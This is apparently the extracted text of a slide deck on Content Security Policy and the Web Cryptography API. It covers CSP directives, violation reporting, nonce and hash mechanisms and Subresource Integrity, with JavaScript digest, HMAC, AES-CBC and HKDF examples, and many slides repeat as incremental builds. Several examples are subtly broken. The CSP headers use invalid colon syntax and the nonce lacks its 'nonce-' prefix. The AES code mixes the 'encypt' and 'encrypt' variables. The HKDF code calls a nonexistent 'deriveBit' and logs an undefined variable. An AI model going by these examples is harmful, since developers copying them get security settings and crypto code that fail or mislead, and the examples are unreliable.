  • 13. CSP Directives script-src: All eval and inline-script are stopped. style-src: All inline style are stopped. object-src: Source of flash source and other plugin object. image-src: Origins of images. font-src: font files. connect-src: Source for WebSocket/XHR/EventSource frame-src: Iframes source for embedding YouTube media-src: Source for Video and Audio default-src: All above. sandbox: Special directive to block everything. Access via allow-scripts, allow-forms
  • 14. CSP Reporting CSP Reporting provides a way of getting informed if some violation has been done. content-security-policy: default-src: ’self’; report-uri: /myreport Following report will be auto-generated and sent to the server when invalid access is done: {"csp-report": { "document-uri": "http://example.org/page.html", "referrer": "http://evil.example.com/", "blocked-uri": "http://evil.example.com/evil.js", "violated-directive": "default-src ’self’", "original-policy": "default-src ’self’, "report-uri" "http://example.org/myreport" } }
  • 15. CSP Reporting CSP Reporting provides a way of getting informed if some violation has been done. content-security-policy: default-src: ’self’; report-uri: /myreport Following report will be auto-generated and sent to the server when invalid access is done: {"csp-report": { "document-uri": "http://example.org/page.html", "referrer": "http://evil.example.com/", "blocked-uri": "http://evil.example.com/evil.js", "violated-directive": "default-src ’self’", "original-policy": "default-src ’self’, "report-uri" "http://example.org/myreport" } } Instead of moving full site to blocking other origins. content-security-policy-report-only: default-src: ’self’
  • 16. CSP shortcoming Main issue with adaptation is blocking in-line JavaScript.2 2 https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser- for-security 3 http://threatpost.com/content-security-policy-mitigates-xss-breaks- websites/107270 4 http://mweissbacher.com/publications/csp raid.pdf
  • 17. CSP shortcoming Main issue with adaptation is blocking in-line JavaScript.2 Browser bugs and incompatibility breaks site.3 IE supports CSP via different header X-Content-Security-Policy header. 2 https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser- for-security 3 http://threatpost.com/content-security-policy-mitigates-xss-breaks- websites/107270 4 http://mweissbacher.com/publications/csp raid.pdf
  • 18. CSP shortcoming Main issue with adaptation is blocking in-line JavaScript.2 Browser bugs and incompatibility breaks site.3 IE supports CSP via different header X-Content-Security-Policy header. Enforcement breaks important extensions present in the browser.3 2 https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser- for-security 3 http://threatpost.com/content-security-policy-mitigates-xss-breaks- websites/107270 4 http://mweissbacher.com/publications/csp raid.pdf
  • 19. CSP shortcoming Main issue with adaptation is blocking in-line JavaScript.2 Browser bugs and incompatibility breaks site.3 IE supports CSP via different header X-Content-Security-Policy header. Enforcement breaks important extensions present in the browser.3 Require changing structure of their site.3 Dynamically named sub-domains also stops websites using CSP features.4 2 https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser- for-security 3 http://threatpost.com/content-security-policy-mitigates-xss-breaks- websites/107270 4 http://mweissbacher.com/publications/csp raid.pdf
  • 20. CSP shortcoming Main issue with adaptation is blocking in-line JavaScript.2 Browser bugs and incompatibility breaks site.3 IE supports CSP via different header X-Content-Security-Policy header. Enforcement breaks important extensions present in the browser.3 Require changing structure of their site.3 Dynamically named sub-domains also stops websites using CSP features.4 Requires compliance across all web application from same origin.4 2 https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser- for-security 3 http://threatpost.com/content-security-policy-mitigates-xss-breaks- websites/107270 4 http://mweissbacher.com/publications/csp raid.pdf
  • 21. CSP Next Step - Inline script What it addresses: content-security-policy: script-src ’self’
  • 22. CSP Next Step - Inline script What it addresses: content-security-policy: script-src ’self’ CSP made it mandatory not to include inline JavaScript but in all JavaScript in a separate file. Required using unsafe-inline, to allow inline JavaScript to execute. Several sites failed to adapt CSP such as Twitter.2
  • 23. CSP Next Step - Inline script What it addresses: content-security-policy: script-src ’self’ CSP made it mandatory not to include inline JavaScript but in all JavaScript in a separate file. Required using unsafe-inline, to allow inline JavaScript to execute. Several sites failed to adapt CSP such as Twitter.2 New mechanism handle inline JavaScript by setting nonce or hash values.
  • 24. CSP Next Step - Inline script Nonce mechanism: {content-security-policy: script-src: ’9253884’ } <script nonce="9253884"> doStuff(); </script> Challenges:5 New nonce is expected and no reuse of nonce. Support in the framework. 5 https://docs.google.com/presentation/d/12JxuNy92C6ARrlsGaykXW5PcD0PKmU1VBNtXyxaePZ4
  • 25. CSP Next Step - Inline script Nonce mechanism: {content-security-policy: script-src: ’9253884’ } <script nonce="9253884"> doStuff(); </script> Challenges:5 New nonce is expected and no reuse of nonce. Support in the framework. Hashing mechanism: {content-security-policy: script-src: ’sha256-67134...287d7a’ } <script> doStuff(); </script> Challenges:5 New hash for every change. Dynamic content handling. 5 https://docs.google.com/presentation/d/12JxuNy92C6ARrlsGaykXW5PcD0PKmU1VBNtXyxaePZ4
  • 26. CSP Next Step - SubResource Integrity Instead of securing whole page, secure resources. Fetched resource is reached without any manipulation when hosted at other origin.
  • 27. CSP Next Step - SubResource Integrity Instead of securing whole page, secure resources. Fetched resource is reached without any manipulation when hosted at other origin. <script src="https://legible.com/script.js" noncanonical-src="http://insecure.net/script.js" integrity="ni:///sha-256; asijfiqu4t12...woeji3W?ct=application/javascript"> </script>
  • 28. CSP Next Step - Per-page Suborigins Sites segregate contents into separate flexible synthetic origins. The synthetic origins should be related to the main origin. Content in synthetic origin can interact via postMessage. End user sees content coming from a single origin content-security-policy: suborigin ’<name>’ protocol://name@host:port
  • 30. Introduction JavaScript API’s to perform cryptographic operations such as Hashing Signature generation and verification. Encryption and decryption Derive keys and bits
  • 31. Introduction JavaScript API’s to perform cryptographic operations such as Hashing Signature generation and verification. Encryption and decryption Derive keys and bits Uses 4 interfaces: RandomSource, CryptoKey, SubtleCrypto and WorkerCrypto.
  • 32. Introduction JavaScript API’s to perform cryptographic operations such as Hashing Signature generation and verification. Encryption and decryption Derive keys and bits Uses 4 interfaces: RandomSource, CryptoKey, SubtleCrypto and WorkerCrypto. Different key format supported are: {”raw”, ”spki”, ”pkcs8”, ”jwk”}
  • 33. Web Cryptography Algorithms Digest SHA-1/256/384/512 GenerateKey RSASSA-PKCS1-v1 5, RSA-PSS/OAEP, AES-CTR/CBC/CMAC/GCM/CFB/KW, ECDSA, HMAC, DH, PBKDF2 Import/Export RSASSA-PKCS1-v1 5, RSA-PSS/OAEP, AES-CTR/CBC/CMAC/GCM/CFB/KW, HMAC, DH, PBKDF2, CONCAT HKDF-CTR, ECDSA, ECDH Sign/Verify RSASSA-PKCS1-v1 5, RSA-PSS, ECDSA, AES-CMAC, HMAC Encrypt/Decrypt RSA-OAEP, AES-CTR/CBC/GCM/CFB DeriveBits/Key ECDH, DH, CONCAT, HKDF-CTR, PBKDF2 Wrap/Unwrap RSA-OAEP, AES-CTR/CBC/GCM/CFB/KW
  • 34. Use Case6 Multi-factor authentication for user or service. Protected document exchange Cloud storage Document or code signing Confidentiality and integrity of communication. JavaScript object signing and encryption (JOSE). 6 http://www.w3.org/TR/WebCryptoAPI/
  • 35. Digest - SHA-256 var userInput = "Integrity example"; var typedArray = new Uint8Array(userInput.length); for (var i=0; i<userInput.length; i++) typedArray[i]=userInput.charCodeAt(i); var promise = crypto.subtle.digest( {name:"SHA-256"}, typedArray); promise.then(function(dgst){ console.log(bytesToHexString(dgst)); });
  • 36. Digest - SHA-256 var userInput = "Integrity example"; var typedArray = new Uint8Array(userInput.length); for (var i=0; i<userInput.length; i++) typedArray[i]=userInput.charCodeAt(i); var promise = crypto.subtle.digest( {name:"SHA-256"}, typedArray); promise.then(function(dgst){ console.log(bytesToHexString(dgst)); }); function bytesToHexString(bytes) { bytes = new Uint8Array(bytes); var hexBytes = []; for (var i = 0; i < bytes.length; ++i) { var byteString=bytes[i].toString(16); if (byteString.length < 2) byteString = "0" + byteString; hexBytes.push(byteString); } return hexBytes.join(""); }
  • 37. Key Generation - HMAC var promise = crypto.subtle.generateKey( {name: "hmac", hash: {name: "sha-256"}},// Algorithm true, // Extractable ["sign", "verify"]); // KeyUsage promise.then(function(key) { console.log(key.type); // secret console.log(key.usages); // sign, verify console.log(key.algorithm.name); // HMAC console.log(key.algorithm.hash.name); // SHA-256 console.log(key.algorithm.length); // 512 });
  • 38. Sign & Verify - HMAC var promise = crypto.subtle.sign( {name:"HMAC"}, key, typedArray); promise.then(function(mac){ console.log(bytesToHexString(mac)); }); var verify = crypto.subtle.verify( {name:"HMAC"}, key, mac, typedArray); verify.then(function(verified){ console.log(verified); // true or false });
  • 39. Encrypt & Decrypt - AES-CBC var promise = crypto.subtle.importKey( ’raw’, keyData, {’name’:’aes-cbc’, iv: initialVector}, false, [’encrypt’, ’decrypt’]); var encypt = promise.then(function(key) { crypto.subtle.encrypt( {’name’:’aes-cbc’, iv: initialVector}, key, plainText)}); encrypt.then( function(ct) { console.log(new Uint8Array(ct)); });
  • 40. Encrypt & Decrypt - AES-CBC var promise = crypto.subtle.importKey( ’raw’, keyData, {’name’:’aes-cbc’, iv: initialVector}, false, [’encrypt’, ’decrypt’]); var encypt = promise.then(function(key) { crypto.subtle.encrypt( {’name’:’aes-cbc’, iv: initialVector}, key, plainText)}); encrypt.then( function(ct) { console.log(new Uint8Array(ct)); }); var decrypt = crypto.subtle.decrypt( {’name’:’aes-cbc’, iv: initialVector}, key, ct) ); decrypt.then( function(byte){ var b = new Uint8Array(byte); var decrypt = ""; for (var i=0;i<b.byteLength;i++) decrypt += String.fromCharCode(b[i]); console.log(decrypt); });
  • 41. DeriveKey/DeriveBits var promise = crypto.subtle.importKey( "raw", hexStringToUint8Array(kHkdfKey), {name: "HKDF"}, true, [’deriveKey’, ’deriveBits’]); promise.then(function(key) { var deriveBit = crypto.subtle.deriveBit( {name: "HKDF", hash: "SHA-256", salt: new Uint8Array(), info: new Uint8Array()}, key, 0); deriveBit.then(function(mac) { console.log(bytesToHexString(result)); }); });
  • 42. Next Steps Main area of focus in next revision of WebCrypto.7 Multi-factor authentication Authentication mechanism should be standardized. Hardware token as way of authorization. Secure element access. Right level of abstraction to make key available outside browser. Handling different keys: User Key, Service Key, Platform Key and Device Keys. Key material should be available outside browser environment and bound to a local authenticator. Ability to verify source of the key i.e. attestation provenance. 7 http://www.w3.org/2012/webcrypto/webcrypto-next-workshop/
  • 43. Conclusion CSP and Web Crypto are two separate Web Security mechanism. JavaScript code needs to be verifiable, to trust origin with ”remote code execution”. CSP provide white-listing your script code and WebCrypto provides way of securing your data. CSP adoption might take time, but its usage might reflect in top alexa sites. Hardware token with authentication simplification will improve user authentication. Key management and retrieval across platform is going to be big boost for Web Crypto adoption.